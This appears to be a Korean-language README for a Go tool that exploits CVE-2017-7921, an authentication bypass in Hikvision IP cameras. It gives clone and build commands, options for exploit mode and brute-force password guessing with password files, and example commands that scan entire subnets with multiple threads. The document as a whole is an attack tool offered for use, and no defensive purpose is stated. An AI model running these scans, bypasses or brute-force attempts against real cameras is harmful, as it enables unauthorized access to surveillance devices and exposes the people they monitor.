
Hikvision IP 카메라 접속 우회 익스플로잇, golang으로 개발됨.
git clone https://github.com/MisakaMikato/cve-2017-7921-golang.git
cd cve-2017-7921-golang/src/cve-2017-7921-golang
go build .
cve-2017-7921 [-e] [-b] [--password password] [-t target] [--thread thread] [-timeout time]
Options:
-b 무차별 대입 모드 사용
-e cve-2017-7921 익스플로잇 모드 사용
-o string
출력 경로를 설정합니다. 비어 있으면 결과가 stdout으로 출력됩니다.
-password string
무차별 대입 모드를 사용할 경우 비밀번호를 설정하거나, 'file:<경로>' 구문을 사용하여 비밀번호 파일 경로를 설정합니다. (기본값 "12345")
-t string
공격 대상, ip:port 또는 파일 경로. 예: 127.0.0.1, 또는 'file:<경로>' 구문으로 대상 파일 경로
-thread int
동시 스레드 수 (기본값 1)
-timeout int
이 시간 이후 대상 포기 (기본값 5)
'w'를 누르면 진행 정보를 확인할 수 있습니다 :)
예시
cve-2017-7921 -e -t 192.168.1.0/24 --thread 10 -o ./res.txt
cve-2017-7921 -b --password file:./pwds.txt -t 192.168.1.0/24 --thread 10